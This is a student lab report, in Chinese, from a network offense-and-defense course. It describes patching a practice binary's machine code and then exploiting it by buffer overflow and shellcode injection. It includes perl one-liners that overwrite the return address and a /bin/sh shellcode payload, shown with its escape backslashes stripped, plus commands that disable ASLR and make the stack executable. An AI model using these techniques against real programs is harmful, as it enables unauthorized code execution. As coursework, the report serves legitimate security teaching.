2018-2019-2 20165331《网络对抗技术》Exp1 PC平台逆向破解
实验收获与感想
通过本次实验,我对缓冲区溢出攻击的方法有了一定的了解,同时也学会了通过怎样的操作可以获得主机权限。但是由于基本功不太扎实,导致实验中有很多地方都需要从各方查询资料获得,也从同学那里得到了很多帮助,在此感谢那些给予了我帮助的同学们。
什么是漏洞?漏洞有什么危害?
我认为漏洞就是系统或设备由于在设计上上的不足或是技术上的局限性而导致的其容易被攻击的部分。漏洞会危害用户设备的安全,比如被窃取信息、文件或程序被恶意篡改等等。
NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:NOP指令即“空指令”,在x86的CPU中机器码为0x90。
JNE:条件转移指令,如果不相等则跳转,机器码75。
JE:条件转移指令,如果相等则跳转,机器码74。
JMP:无条件转移指令。分为段内直接短转移Jmp short(EB);段内直接近转移Jmp near(E9);段内间接转移Jmp word(FF);段间直接(远)转移Jmp far(EA)等。
CMP机器码:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)。比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
其他题目
反汇编指令:odjdump -d xxx
(vim中)16进制转化指令::"%!xxd
,复原指令为:%!xxd -r
实验流程
一 直接修改程序机器指令,改变程序执行流程
①将实验所需可执行文件pwn1导入kali中
②此时的pwn1由于权限问题无法被执行,所以采用chmod 777 pwn1
指令修改其权限
③使用ls
指令查看,可看到pwn1显示状态发生变化,转为可执行状态
④为了方便之后对修改前后结果进行比较,我对pwn1文件进行了复制并命名为pwn1-cp。
⑤使用指令objdump -d pwn1-cp
对源文件进行反汇编,找到其中main函数部分call foo的那行
⑥使用vim打开pwn1-cp源文件,发现全是乱码,可使用:%!xxd
指令将其转化为可读的十六进制机器码形式
⑦通过/d
找到对应位置后,将d7修改为e3,最后通过指令:%!xxd -r
改回去之后保存退出,再次反汇编之后可以看到对应位置已经改变
⑧分别运行两个文件,可以明显看出不同
二 通过构造输入参数,造成BOF攻击,改变程序执行流
①在gdb中使用file pwn1
打开文件,通过r执行到调用foo函数时需要我们输入一个参数
②输入一个36位的字符串后得到如下图结果
③从图中可以看出该返回地址已被覆盖导致系统无法识别。至此可以看出,如果把字符串对应位置改为特殊的字符,则就可以通过这种攻击对程序进行影响
④为了成功键入覆盖用的地址,我使用了perl语句,用管道的方式把上一个命令的结果作为下一个的输入:perl -e ' print "qwerasdfzxcvtyghbnuiojklmp258794x7dx84x04x08x0a" ' > input
,(cat input; cat) | ./pwn1
,程序运行结果如下
三 Shellcode注入攻击
①使用sudo apt-get install execstack
指令安装execstack
②使用execstack -s pwn1
指令和execstack -p pwn1
指令分别用于设置堆栈可执行和检测文件堆栈是否可执行,当出现“X pwn1”时证明目标文件堆栈可执行
③使用指令echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
**④使用perl语句输入```perl -e 'print "A" x 32;print
"x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode```**